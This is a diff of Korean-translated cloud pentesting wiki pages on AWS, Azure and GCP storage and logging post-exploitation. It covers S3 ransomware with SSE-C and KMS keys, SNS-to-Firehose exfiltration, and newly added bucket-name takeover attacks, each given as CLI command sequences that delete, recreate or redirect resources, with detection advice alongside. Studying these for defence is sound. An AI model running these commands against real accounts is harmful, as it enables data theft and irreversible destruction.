diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md index 17acd2ead..4577e422e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md @@ -4,46 +4,47 @@ ## S3 -For more information check: +더 많은 정보는 다음을 확인하세요: {{#ref}} ../../aws-services/aws-s3-athena-and-glacier-enum.md {{#endref}} -### 민감한 정보 +### Sensitive Information -때때로 버킷에서 읽을 수 있는 형태로 민감한 정보를 찾을 수 있습니다. 예: terraform state secrets. +때때로 버킷에서 읽을 수 있는 sensitive information을 찾을 수 있습니다. 예를 들어, terraform state secrets입니다. ### Pivoting -다른 플랫폼들이 민감한 자산을 저장하기 위해 S3를 사용할 수 있습니다. 예를 들어, **airflow**는 그곳에 **DAGs** **code**를 저장할 수 있고, **web pages**는 S3에서 직접 제공될 수 있습니다. 쓰기 권한을 가진 공격자는 버킷의 **code**를 **modify the code**하여 다른 플랫폼으로 **pivot**하거나, JS 파일을 수정해 **takeover accounts**할 수 있습니다. +다양한 플랫폼이 S3를 사용해 sensitive assets를 저장할 수 있습니다.\ +예를 들어, **airflow**는 **DAGs** **code**를 거기에 저장할 수 있고, **web pages**는 S3에서 직접 제공될 수도 있습니다. 쓰기 권한이 있는 attacker는 버킷의 **code를 수정**해 다른 플랫폼으로 **pivot**하거나, JS files를 수정해 계정을 **takeover**할 수 있습니다. ### S3 Ransomware -이 시나리오에서, **공격자는 자신의 AWS 계정** 또는 다른 침해된 계정에 KMS (Key Management Service) 키를 생성합니다. 그 후 이 **키를 전 세계 누구나 접근 가능하게** 만들어, 어떤 AWS 사용자, 역할, 계정도 이 키로 객체를 암호화할 수 있게 합니다. 그러나 해당 객체는 복호화할 수 없습니다. +이 시나리오에서, **attacker는 자신의 AWS account** 또는 다른 compromised account에 **KMS (Key Management Service) key를 생성**합니다. 그런 다음 이 **key를 전 세계 누구나 접근할 수 있게** 만들어, 어떤 AWS user, role, 또는 account라도 이 key를 사용해 objects를 encrypt할 수 있게 합니다. 하지만 objects는 decrypt할 수 없습니다. -공격자는 여러 방법으로 대상 **S3 bucket**을 식별하고 그에 대한 쓰기 권한을 획득합니다. 이는 버킷 설정이 부적절해 공개되어 있거나 공격자가 AWS 환경 자체에 접근했기 때문일 수 있습니다. 공격자는 일반적으로 PII, PHI, 로그, 백업 등 민감한 정보를 담고 있는 버킷을 표적으로 삼습니다. +attacker는 대상 **S3 bucket을 식별하고 write-level access**를 얻습니다. 이는 버킷 설정이 부실해 public으로 노출되었기 때문일 수도 있고, attacker가 AWS environment 자체에 접근했기 때문일 수도 있습니다. attacker는 일반적으로 personally identifiable information (PII), protected health information (PHI), logs, backups 등 민감한 정보를 포함한 버킷을 노립니다. -버킷이 ransomware의 대상이 될 수 있는지 판단하기 위해 공격자는 구성 설정을 확인합니다. 여기에는 **S3 Object Versioning**이 활성화되었는지, **multi-factor authentication delete (MFA delete)**가 활성화되었는지를 확인하는 것이 포함됩니다. Object Versioning이 활성화되어 있지 않다면 공격자는 진행할 수 있습니다. Object Versioning이 활성화되어 있지만 MFA delete가 비활성화되어 있으면 공격자는 **Object Versioning을 비활성화(disable Object Versioning)**할 수 있습니다. Object Versioning과 MFA delete가 모두 활성화되어 있다면 해당 버킷을 ransomware 대상으로 만드는 것이 더 어려워집니다. +버킷이 ransomware 대상이 될 수 있는지 판단하기 위해 attacker는 설정을 확인합니다. 여기에는 **S3 Object Versioning**이 활성화되어 있는지, 그리고 **multi-factor authentication delete (MFA delete)**가 활성화되어 있는지 확인하는 것이 포함됩니다. Object Versioning이 활성화되어 있지 않다면 attacker는 진행할 수 있습니다. Object Versioning이 활성화되어 있지만 MFA delete가 비활성화되어 있다면 attacker는 **Object Versioning을 비활성화**할 수 있습니다. Object Versioning과 MFA delete가 모두 활성화되어 있다면, 해당 bucket을 ransomware로 공격하기는 더 어려워집니다. -공격자는 AWS API를 사용해 버킷의 각 객체를 자신의 KMS 키로 암호화된 복사본으로 교체합니다(예: **replaces each object in the bucket with an encrypted copy using their KMS key**). 이렇게 하면 버킷의 데이터가 사실상 암호화되어 키 없이는 접근할 수 없게 됩니다. +AWS API를 사용해 attacker는 bucket의 각 object를 자신의 KMS key로 encrypt된 copy로 **교체**합니다. 이렇게 하면 bucket의 data가 사실상 encrypt되어 key 없이는 접근할 수 없게 됩니다. -추가 압박을 위해 공격자는 공격에 사용한 KMS 키의 삭제를 예약할 수 있습니다. 이렇게 하면 키가 삭제되어 데이터가 영구적으로 손실되기 전, 대상은 데이터를 복구할 수 있는 7일의 기한을 갖게 됩니다. +추가적인 압박을 주기 위해, attacker는 공격에 사용한 KMS key의 deletion을 예약합니다. 이렇게 하면 target은 key가 삭제되고 data가 영구적으로 사라지기 전까지 7일 동안 data를 복구할 수 있습니다. -마지막으로 공격자는 보통 "ransom-note.txt"라는 이름의 최종 파일을 업로드해, 대상이 파일을 복구하는 방법에 대한 지침을 제공합니다. 이 파일은 암호화 없이 업로드되어 대상의 주의를 끌고 랜섬웨어 공격 사실을 알리기 위함입니다. +마지막으로 attacker는 보통 "ransom-note.txt"라는 최종 file을 업로드할 수 있으며, 여기에는 target이 file을 되찾는 방법에 대한 안내가 들어 있습니다. 이 file은 encryption 없이 업로드되어 target의 주의를 끌고 ransomware attack을 인지하게 만들 가능성이 높습니다. #### SSE-C (Customer-Provided Key) Ransomware (Codefinger-like) -또 다른 변형으로는 **SSE-C**(S3 server-side encryption with **customer-provided keys**)를 악용하는 방법이 있습니다. SSE-C의 경우 **클라이언트가 모든 요청에 암호화 키를 제공**하며 **AWS는 키를 저장하지 않습니다**. 따라서 공격자가 **자신의 SSE-C 키**로 객체를 다시 작성하면, 피해자는 공격자가 제어하는 키를 제공하지 않는 한 데이터에 접근하거나 읽을 수 없습니다. +또 다른 변형은 **SSE-C** (S3 server-side encryption with **customer-provided keys**)를 악용하는 것입니다. SSE-C에서는 **client가 모든 request마다 encryption key를 제공**하며 **AWS는 key를 저장하지 않습니다**. 즉, attacker가 **자신의 SSE-C key로 objects를 다시 작성**하면, victim이 그 attacker-controlled key를 제공할 수 없는 한 data는 읽을 수 없게 됩니다. -- **전제조건(Preconditions):** AWS 자격증명 탈취(또는 적절한 권한을 가진 어떤 principal) 및 객체를 **rewrite objects**할 수 있는 능력(예: 대상 키/프리픽스에서의 `s3:PutObject`). 이는 종종 파괴적인 lifecycle 정책을 설정할 수 있는 권한(아래 참조)과 결합됩니다(예: `s3:PutLifecycleConfiguration`). -- **공격 체인(Attack chain):** -1. 공격자가 무작위 256비트 키(AES-256)를 생성하고 보관합니다. -2. 공격자가 SSE-C 헤더를 사용해 기존 객체(동일한 객체 키)를 **rewrites**하여 저장된 객체가 공격자 키로 암호화되도록 합니다. -3. 피해자는 SSE-C 키를 제공하지 않으면 다운로드/복호화할 수 없습니다(설령 IAM 권한이 충분하더라도). -4. 공격자는 키를 삭제하거나(또는 단순히 제공하지 않음) 데이터 복구를 불가능하게 만들 수 있습니다. +- **Preconditions:** compromised AWS credentials(또는 적절한 permissions가 있는 principal)과 objects를 **다시 작성**할 수 있는 능력(예: 대상 keys/prefixes에 대한 `s3:PutObject`). 이는 종종 파괴적인 lifecycle policies를 설정할 수 있는 권한과 함께 사용됩니다(아래 참조). 예: `s3:PutLifecycleConfiguration`. +- **Attack chain:** +1. Attacker가 random 256-bit key (AES-256)를 생성해 보관합니다. +2. Attacker가 SSE-C headers를 사용해 기존 objects(같은 object keys)를 **다시 작성**하여 저장된 object가 attacker key로 encrypt되게 합니다. +3. Victim은 SSE-C key를 제공하지 않으면 download/decrypt할 수 없습니다(IAM permissions가 정상이어도 마찬가지입니다). +4. Attacker는 key를 삭제하거나(혹은 단순히 제공하지 않거나) 해서 data를 복구 불가능하게 만들 수 있습니다. -Example (conceptual) CLI usage: +예시(개념적) CLI usage: ```bash # Upload/overwrite an object encrypted with attacker-provided SSE-C key aws s3 cp ./file s3:/// \ @@ -55,25 +56,25 @@ aws s3 cp s3:/// ./file \ --sse-c AES256 \ --sse-c-key ``` -##### 압박 가하기: 수명 주기 "타이머" 남용 +##### Adding Pressure: Lifecycle "Timer" Abuse -복구 옵션(예: 이전 버전)을 제거하기 위해, 공격자는 SSE-C 재작성과 **수명 주기 규칙(lifecycle rules)**를 결합해 객체를 만료시키거나 일정 기간 후 비현재(noncurrent) 버전을 삭제할 수 있습니다: +복구 옵션(예: old versions)을 제거하기 위해, attackers는 SSE-C rewrites를 **lifecycle rules**와 결합해 짧은 기간 후 objects 및/또는 noncurrent versions가 만료되거나 삭제되도록 할 수 있습니다: -- 버킷에 대한 `s3:PutLifecycleConfiguration` 권한은 공격자가 각 객체/버전에 대해 명시적 삭제 작업을 수행하지 않고도 삭제를 예약할 수 있게 합니다. -- 이는 **versioning이 활성화된** 경우에 특히 큰 영향을 미치는데, 그렇지 않으면 복구를 허용했을 "이전의 정상 버전"을 제거할 수 있기 때문입니다. +- bucket에 대한 `s3:PutLifecycleConfiguration`은 attacker가 모든 object/version에 대해 명시적인 delete operation을 실행하지 않고도 삭제를 예약할 수 있게 합니다. +- 이는 **versioning이 enabled**일 때 특히 큰 영향이 있습니다. 그렇지 않으면 복구를 가능하게 해줄 "previous good version"을 제거할 수 있기 때문입니다. -##### 감지 및 완화 +##### Detection & Mitigations -- 특별한 운영상의 이유가 없다면 SSE-C보다 **SSE-KMS**(또는 SSE-S3)를 선호하세요. -- SSE-C 헤더를 사용하는 `PutObject` 요청을 모니터링/경보하세요 (S3에 대한 CloudTrail 데이터 이벤트). -- 예상치 못한 `PutBucketLifecycleConfiguration`(수명 주기 변경)을 모니터링/경보하세요. -- 덮어쓰기 활동의 급증(같은 키가 빠르게 업데이트됨) 및 delete-marker/버전 삭제를 모니터링/경보하세요. -- 고위험 권한 제한: `s3:PutObject`을 필요한 접두사로 제한하세요; `s3:PutLifecycleConfiguration` 및 `s3:PutBucketVersioning`은 엄격히 제한하세요; 민감한 관리자 작업에 대해 MFA를 요구(적용 가능한 경우)하고 승인 절차가 있는 별도 관리자 역할을 사용 고려하세요. -- 복구 태세: **versioning**, **backups**, 불변(immutable)/오프라인 복사본 사용(보호된 계정으로의 S3 복제, 백업 볼트 등); 비현재(noncurrent) 버전을 과도한 삭제로부터 보호하고 SCPs / 가드레일로 수명 주기 변경을 차단하세요. +- 특별한 운영상 이유가 있어 SSE-C를 허용해야 하는 경우가 아니라면 **SSE-KMS**(또는 SSE-S3)를 SSE-C보다 우선 사용하세요. +- SSE-C headers를 사용하는 `PutObject` requests를 모니터링/알림 설정하세요(S3에 대한 CloudTrail data events). +- 예상치 못한 `PutBucketLifecycleConfiguration`(lifecycle changes)을 모니터링/알림 설정하세요. +- overwrite activity의 갑작스러운 증가(same keys가 빠르게 updated되는 경우)와 delete-marker/version deletions를 모니터링/알림 설정하세요. +- high-risk permissions를 제한하세요: `s3:PutObject`를 필요한 prefixes로만 제한하고; `s3:PutLifecycleConfiguration` 및 `s3:PutBucketVersioning`을 강하게 restrict 하세요; 민감한 admin actions에는 MFA 요구를 고려하고(해당되는 경우) 승인 절차가 있는 별도의 admin roles를 사용하세요. +- recovery posture: **versioning**, **backups**, 그리고 immutable/offline copies(S3 replication to protected account, backup vaults 등)를 사용하세요; noncurrent versions가 aggressive deletion에 의해 제거되지 않도록 보호하고 SCPs / guardrails로 lifecycle changes를 보호하세요. ### `s3:RestoreObject` -`s3:RestoreObject` 권한을 가진 공격자는 Glacier 또는 Deep Archive에 보관된 객체를 재활성화하여 일시적으로 접근 가능하게 만들 수 있습니다. 이는 보통 접근 불가능한 과거 아카이브된 데이터(백업, 스냅샷, 로그, 증명서, 오래된 비밀 등)의 복구 및 exfiltration을 가능하게 합니다. 공격자가 이 권한을 s3:GetObject와 같은 읽기 권한과 결합하면 민감한 데이터의 전체 복사본을 획득할 수 있습니다. +s3:RestoreObject permission을 가진 attacker는 Glacier 또는 Deep Archive에 보관된 objects를 재활성화하여 일시적으로 접근 가능하게 만들 수 있습니다. 이를 통해 원래는 접근할 수 없어야 할 과거에 archived된 data(백업, snapshots, logs, certifications, old secrets)의 복구와 exfiltration이 가능합니다. attacker가 이 permission을 read permissions(예: `s3:GetObject`)과 결합하면 sensitive data의 전체 copy를 얻을 수 있습니다. ```bash aws s3api restore-object \ --bucket \ @@ -85,7 +86,7 @@ aws s3api restore-object \ ``` ### `s3:Delete*` -해당 s3:Delete* 권한을 가진 공격자는 객체, 버전, 전체 버킷을 삭제하고 백업을 중단시켜 즉각적이고 되돌릴 수 없는 데이터 손실, 증거 파기, 그리고 백업 또는 복구 아티팩트의 손상을 초래할 수 있습니다. +s3:Delete* 권한을 가진 공격자는 objects, versions, 및 전체 buckets를 삭제하고, backups를 방해하며, 즉각적이고 되돌릴 수 없는 데이터 손실, 증거 파괴, 그리고 backup 또는 recovery artifacts의 손상을 초래할 수 있습니다. ```bash # Delete an object from a bucket aws s3api delete-object \ @@ -102,6 +103,34 @@ aws s3api delete-object \ aws s3api delete-bucket \ --bucket ``` -**자세한 정보** [**원본 연구를 확인하세요**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** +### autonomous writers의 Global bucket name takeover - `s3:DeleteBucket` + +S3 bucket 이름은 전역적으로 unique합니다. 피해자 account에 `arn:aws:s3:::`로 데이터를 계속 전송하는 automated writers가 있고 attacker가 그 bucket을 비우거나 삭제할 수 있다면, attacker는 attacker-controlled account에서 같은 bucket 이름을 다시 만들고 upstream service configuration을 변경하지 않은 채 향후 전달 데이터를 받을 수 있습니다. + +검토할 만한 좋은 target에는 S3 replication destination, Kinesis Data Firehose delivery stream, CloudWatch Logs/SNS/WAF delivery chain 중 S3로 떨어지는 것, 그리고 custom backup 또는 export job이 포함됩니다. +```bash +# Review S3 replication destinations on source buckets +aws s3api get-bucket-replication --bucket + +# Review Firehose S3 destinations +aws firehose describe-delivery-stream \ +--delivery-stream-name + +# Empty and delete the target bucket, if permitted +aws s3 rm s3:// --recursive +aws s3api delete-bucket --bucket + +# Recreate the same globally-unique name in the attacker account +aws s3 mb s3:// --region +``` +대체 bucket policy는 상위 writer가 objects를 put할 수 있도록 허용해야 합니다. 정확한 principal은 service에 따라 다릅니다. 예를 들어 IAM replication role, Firehose delivery role, 또는 `aws:SourceArn` / `aws:SourceAccount`로 제한된 service principal이 있습니다. + +**Potential Impact:** future replicated objects, logs, telemetry, backups, 그리고 pipeline artifacts가 attacker-controlled AWS account로 조용히 exfiltration될 수 있습니다. + +**Detection & Mitigation:** replication rules나 delivery streams에서 참조되는 buckets 삭제를 alert하고, `NoSuchBucket` delivery failures 뒤에 bucket recreation이 이어지는지 monitor하며, export destinations에 대한 `s3:DeleteBucket`을 restrict하고, strict bucket policies와 ownership expectations로 cross-account deliveries를 pin하세요. + + + +**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md index d4a007970..169a8419e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md @@ -2,12 +2,12 @@ {{#include ../../../../banners/hacktricks-training.md}} -공격자가 제어하는 Kinesis Data Firehose delivery stream를 피해자의 SNS standard topic에 등록하기 위해 Firehose subscription 프로토콜을 악용합니다. 구독이 설정되고 필요한 IAM 역할이 `sns.amazonaws.com`을 신뢰하면, 이후 모든 알림은 수사적인 소음 없이 공격자의 S3 버킷에 영구적으로 기록됩니다. +Firehose subscription protocol을 악용해 공격자가 제어하는 Kinesis Data Firehose delivery stream을 피해자 SNS standard topic에 등록한다. subscription이 설정되고 필요한 IAM role이 `sns.amazonaws.com`을 trust하면, 이후 모든 notification은 최소한의 노이즈로 공격자의 S3 bucket에 지속적으로 기록된다. ## Requirements -- 공격자 계정에서 S3 버킷, Firehose delivery stream 및 Firehose가 사용하는 IAM 역할을 생성할 수 있는 권한 (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, 등). -- 피해자 topic에 대해 `sns:Subscribe` 할 수 있는 권한(구독 생성 후 subscription role ARN이 제공되는 경우 선택적으로 `sns:SetSubscriptionAttributes` 권한 필요). -- 공격자 주체가 구독할 수 있도록 허용하는 topic policy(또는 공격자가 이미 동일 계정 내부에서 운영 중인 경우). +- 공격자 account에서 S3 bucket, Firehose delivery stream, 그리고 Firehose가 사용하는 IAM role을 생성할 수 있는 권한 (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, etc.). +- 피해자 topic에 `sns:Subscribe`할 수 있는 능력 (그리고 subscription role ARN이 생성 후 제공되는 경우 `sns:SetSubscriptionAttributes`도 선택적으로 필요). +- 공격자 principal의 subscribe를 허용하는 topic policy, 또는 공격자가 이미 같은 account 내에서 동작 중인 경우. ## Attack Steps (same-account example) ```bash @@ -68,9 +68,23 @@ sleep 90 aws s3 ls s3://$ATTACKER_BUCKET/ --recursive ``` ## Cleanup -- SNS 구독, Firehose delivery stream, 임시 IAM 역할/정책 및 공격자 S3 버킷을 삭제합니다. +- SNS subscription, Firehose delivery stream, temporary IAM roles/policies, 그리고 attacker S3 bucket을 삭제합니다. ## Impact -**잠재적 영향**: 타깃 SNS topic에 게시된 모든 메시지가 공격자 제어 스토리지로 지속적이고 내구성 있게 exfiltration되며, 운영상 흔적은 최소화됩니다. +**Potential Impact**: 최소한의 운영 흔적으로 targeted SNS topic에 publish되는 모든 메시지를 attacker-controlled storage로 지속적이고 영구적으로 exfiltration할 수 있습니다. + +## Related Bucket-Name Hijack Variant + +기존 SNS -> Firehose -> S3 chain이 이미 bucket에 write하고 있고 attacker가 그 bucket을 delete할 수 있다면, attacker-controlled account에서 동일한 globally-unique S3 bucket name을 다시 생성할 수 있습니다. 이후 Firehose delivery는 SNS subscription이나 Firehose stream configuration을 변경하지 않고도 replacement bucket에 landing할 수 있습니다. +```bash +# Identify the Firehose S3 destination +aws firehose describe-delivery-stream \ +--delivery-stream-name \ +--query 'DeliveryStreamDescription.Destinations[].S3DestinationDescription' + +# After deleting the original bucket, recreate the same name in the attacker account +aws s3 mb s3:// --region +``` +Firehose delivery role에 replacement bucket에 대한 액세스를 부여하라, role이 cross-account로 쓸 수 있다면. Firehose destinations의 bucket deletion, delivery failures, 그리고 unexpected bucket ownership changes를 모니터링하라. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md index 08ac2ec88..1d295f77d 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md @@ -4,7 +4,7 @@ ## Storage Privesc -저장소에 대한 자세한 정보는 다음을 확인하세요: +Storage에 대한 자세한 정보는 다음을 확인하세요: {{#ref}} ../az-services/az-storage.md @@ -12,7 +12,7 @@ ### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read` -이 권한을 가진 주체는 컨테이너 내의 블롭(파일)을 **목록화**하고 **다운로드**할 수 있으며, 이 파일에는 **민감한 정보**가 포함될 수 있습니다. +이 권한을 가진 principal은 컨테이너 안의 blobs(files)를 **list**할 수 있고, **sensitive information**을 포함할 수 있는 파일을 **download**할 수 있습니다. ```bash # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read az storage blob list \ @@ -26,7 +26,7 @@ az storage blob download \ ``` ### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write` -이 권한을 가진 주체는 **컨테이너에 파일을 작성하고 덮어쓸 수** 있으며, 이는 그가 손상을 초래하거나 권한을 상승시킬 수 있게 할 수 있습니다 (예: blob에 저장된 일부 코드를 덮어쓰기). +이 권한이 있는 principal은 **containers 안의 files를 write하고 overwrite**할 수 있으며, 이로 인해 일부 damage를 일으키거나 심지어 privileges를 escalate할 수 있습니다(예: blob에 저장된 일부 code를 overwrite): ```bash # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write az storage blob upload \ @@ -36,6 +36,35 @@ az storage blob upload \ ``` ### \*/delete -이것은 스토리지 계정 내의 객체를 삭제할 수 있게 하여 **일부 서비스에 중단을 초래**하거나 클라이언트가 **귀중한 정보를 잃게** 만들 수 있습니다. +이것은 storage account 내부의 object를 삭제할 수 있게 하며, 이는 일부 서비스를 **중단**시키거나 client가 **중요한 정보**를 **잃게** 만들 수 있다. + +### Storage account name takeover of diagnostic exports + +Azure Storage account 이름은 전역적으로 고유하다. Azure Monitor diagnostic settings 같은 일부 autonomous exports는 구성된 storage account에 계속 logs 또는 metrics를 쓴다. 공격자가 그 storage account를 삭제하고, 같은 tenant 내의 attacker-controlled subscription에서 동일한 이름으로 다시 생성할 수 있다면, 이후 exported telemetry는 diagnostic setting을 수정하지 않아도 대체 account로 전달될 수 있다. + +이는 공격자가 `Microsoft.Storage/storageAccounts/delete` 같은 destructive permissions은 가지고 있지만, monitored resource나 그 diagnostic settings는 업데이트할 수 없을 때 특히 흥미롭다. + +이를 위해서는 storage account 이름이 재사용 가능 상태로 풀려야 한다. 실제로는 Azure storage account soft delete / recovery protections가 즉시 재사용을 지연하거나 막을 수 있으며, 특히 tenant 간에는 더 그렇다. +```bash +# Find diagnostic settings that write to a storage account +az monitor diagnostic-settings list \ +--resource \ +--query '[].{name:name,storageAccountId:storageAccountId}' + +# Delete the storage account, if permitted +az storage account delete \ +--name \ +--resource-group + +# Recreate the same globally-unique storage account name +az storage account create \ +--name \ +--resource-group \ +--location \ +--sku Standard_LRS +``` +**Potential Impact:** 공격자가 제어하는 subscription으로 future logs, metrics, audit data, diagnostic archives가 장기간 exfiltration될 수 있음. + +**Detection & Mitigation:** diagnostic settings에서 참조되는 storage accounts 삭제에 대해 alert하고, `storageAccountId`가 있는 diagnostic settings를 inventory하며, dangling destinations를 monitor하고, logging/archive storage accounts에 대한 destructive permissions를 엄격히 restrict 하라. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md index 02185d4c6..5171d5b64 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md @@ -2,33 +2,33 @@ {{#include ../../../banners/hacktricks-training.md}} -## 기본 정보 +## Basic Information -자세한 내용은 다음을 확인하세요: +더 많은 정보는 다음을 확인하세요: {{#ref}} ../gcp-services/gcp-logging-enum.md {{#endref}} -모니터링을 교란하는 다른 방법은 다음을 확인하세요: +모니터링을 방해하는 다른 방법은 다음을 확인하세요: {{#ref}} gcp-monitoring-post-exploitation.md {{#endref}} -### 기본 로깅 +### Default Logging -**기본적으로 단순한 읽기(read) 작업만으로는 탐지되지 않습니다. 자세한 내용은 Logging Enum 섹션을 확인하세요.** +**기본적으로 read actions를 수행한다고 해서 바로 적발되지는 않습니다. 더 많은 정보는 Logging Enum 섹션을 확인하세요.** -### 예외로 지정된 Principal 추가 +### Add Excepted Principal -[https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) 및 [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit)에서 로그를 생성하지 않도록 principal을 추가할 수 있습니다. 공격자는 이를 악용해 탐지를 피할 수 있습니다. +[https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) 및 [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit)에서 logs를 생성하지 않도록 principals를 추가할 수 있습니다. 공격자는 이를 악용해 적발을 피할 수 있습니다. -### 로그 읽기 - `logging.logEntries.list` +### Read logs - `logging.logEntries.list`
-로그 항목 읽기 +Read log entries ```bash # Read logs gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json @@ -100,7 +100,7 @@ gcloud logging links delete --bucket --location
-로그 뷰 삭제 +logging view 삭제 ```bash # Delete a logging view to remove access to anyone using it gcloud logging views delete --bucket= --location=global @@ -111,7 +111,7 @@ gcloud logging views delete --bucket= --location=global
-로깅 뷰를 업데이트하여 데이터를 숨기기 +데이터를 숨기기 위해 logging view 업데이트 ```bash # Update a logging view to hide data gcloud logging views update --log-filter="resource.type=gce_instance" --bucket= --location=global --description="New description for the log view" @@ -122,7 +122,7 @@ gcloud logging views update --log-filter="resource.type=gce_instance"
-로그 기반 메트릭 업데이트 +로그 기반 metrics 업데이트 ```bash # Update log based metrics - logging.logMetrics.update gcloud logging metrics update --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID @@ -133,7 +133,7 @@ gcloud logging metrics update --description="Changed metric descri
-로그 기반 메트릭 삭제 +로그 기반 metrics 삭제 ```bash # Delete log based metrics - logging.logMetrics.delete gcloud logging metrics delete @@ -155,7 +155,7 @@ gcloud logging sinks delete
-로그 sink 업데이트/중단 +로그 sink 업데이트/방해 ```bash # Disable sink - logging.sinks.update gcloud logging sinks update --disabled @@ -178,4 +178,32 @@ gcloud logging sinks update SINK_NAME --no-use-partitioned-tables ```
+### Cloud Logging sink bucket-name hijack - `storage.buckets.delete` + +Cloud Logging sink은 로그를 `storage.googleapis.com/` 또는 `storage.googleapis.com//` 같은 Cloud Storage destination으로 지속적으로 export할 수 있습니다. 공격자가 destination bucket을 삭제할 수 있지만 sink는 update할 수 없다면, attacker-controlled project에서 동일한 globally-unique bucket name을 다시 만들어 이후 export되는 로그를 다른 곳으로 redirect할 수 있습니다. + +이것은 compromised principal이 `storage.buckets.delete`, `storage.objects.delete`, `storage.objects.list` 같은 destructive storage permissions은 가지고 있지만 `logging.sinks.update`는 가지고 있지 않을 때 유용합니다. +```bash +# Find sinks that export to Cloud Storage +gcloud logging sinks list --project \ +--format='table(name,destination,disabled,writerIdentity)' + +# Empty and delete the destination bucket, if permitted +gcloud storage rm -r gs:// + +# Recreate the same bucket name in the attacker-controlled project +gcloud storage buckets create gs:// \ +--project \ +--location + +# Allow the sink writer identity to write objects into the replacement bucket +gcloud storage buckets add-iam-policy-binding gs:// \ +--member='serviceAccount:' \ +--role='roles/storage.objectCreator' \ +--project +``` +**Potential Impact:** future audit logs, application logs, security telemetry 및 sink filter와 일치하는 기타 모든 이벤트의 조용한 장기 exfiltration. + +**Detection & Mitigation:** 활성 sink에서 참조하는 bucket 삭제에 대해 alert를 설정하고, dangling bucket names에 대한 sink destinations를 inventory하며, logging destinations에 대한 `storage.buckets.delete`를 restrict하고, 가능한 경우 retention/hold controls로 export buckets를 보호하세요. + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md index 6e50f6707..a13c14a78 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md @@ -4,7 +4,7 @@ ## Pub/Sub -Pub/Sub에 대한 자세한 정보는 다음 페이지를 확인하세요: +Pub/Sub에 대한 더 많은 정보는 다음 페이지를 확인하세요: {{#ref}} ../gcp-services/gcp-pub-sub.md @@ -12,11 +12,11 @@ Pub/Sub에 대한 자세한 정보는 다음 페이지를 확인하세요: ### `pubsub.topics.publish` -토픽에 메시지를 게시합니다. **예상치 못한 데이터를 전송**하고 예기치 못한 기능을 트리거하거나 취약점을 악용하는 데 유용합니다: +topic에 메시지를 publish합니다. **예상치 못한 데이터를 전송**하고 예상치 못한 기능을 트리거하거나 취약점을 exploit하는 데 유용합니다:
-토픽에 메시지 게시 +topic에 메시지 publish ```bash # Publish a message in a topic gcloud pubsub topics publish --message "Hello!" @@ -25,7 +25,7 @@ gcloud pubsub topics publish --message "Hello!" ### `pubsub.topics.detachSubscription` -구독이 메시지를 받지 못하도록 방지하는 데 유용합니다. 탐지를 회피하기 위해 사용할 수 있습니다. +구독이 메시지를 수신하지 못하게 막는 데 유용하며, 탐지를 피하기 위해 사용할 수 있습니다.
@@ -37,12 +37,12 @@ gcloud pubsub topics detach-subscription ### `pubsub.topics.delete` -subscription이 메시지를 수신하지 못하게 막는 데 유용하며, 탐지를 피하기 위해 사용할 수 있습니다.\ -subscriptions가 연결되어 있어도 topic을 삭제할 수 있습니다. +구독(subscription)이 메시지를 받지 못하게 막는 데 유용하며, 탐지를 피하기 위해 사용할 수 있습니다.\ +구독이 연결된 상태에서도 topic을 삭제할 수 있습니다.
